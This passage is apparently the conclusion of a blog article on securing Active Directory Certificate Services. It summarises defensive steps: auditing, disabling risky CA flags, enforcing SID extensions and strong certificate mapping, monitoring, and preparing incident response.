Active Directory Certificate Services is a powerful and essential component of enterprise IT infrastructure, but its complexity and the subtlety of its security model make it a prime target for attackers. With 16 known ESC attack techniques — and more likely to be discovered — ADCS security demands continuous attention.

Here are the key takeaways:

  • Audit first, then harden. You can't fix what you haven't inventoried. Use Certutil, PSPKIAudit, and Certipy to get a complete picture of your ADCS configuration before making changes.
  • Address the critical items immediately. Disabling EDITF_ATTRIBUTESUBJECTALTNAME2, enabling SID extensions, enforcing encrypted RPC, and restricting template permissions will close the most commonly exploited attack paths.
  • Prepare for Microsoft's September 2025 enforcement deadline. Strong certificate mapping is becoming mandatory. Make sure all your CAs issue certificates with SID extensions and all your domain controllers are set to Full Enforcement Mode before compatibility mode is removed.
  • Monitor continuously. Hardening is a point-in-time activity, but attackers are persistent. Implement real-time alerting for certificate-related events and schedule regular compliance checks to detect configuration drift.
  • Have an incident response plan ready. Know how to quickly identify, revoke, and replace compromised certificates. Practice the procedure before you need it under pressure.

ADCS security might not be the most glamorous topic in IT administration, but getting it right prevents some of the most devastating attacks in the Active Directory threat landscape. A Domain Admin certificate in the wrong hands is game over for your environment. Take the time to audit, harden, and monitor your PKI infrastructure — it's one of the highest-impact security improvements you can make.

About the Author Editorial Team

Our team of expert writers and editors.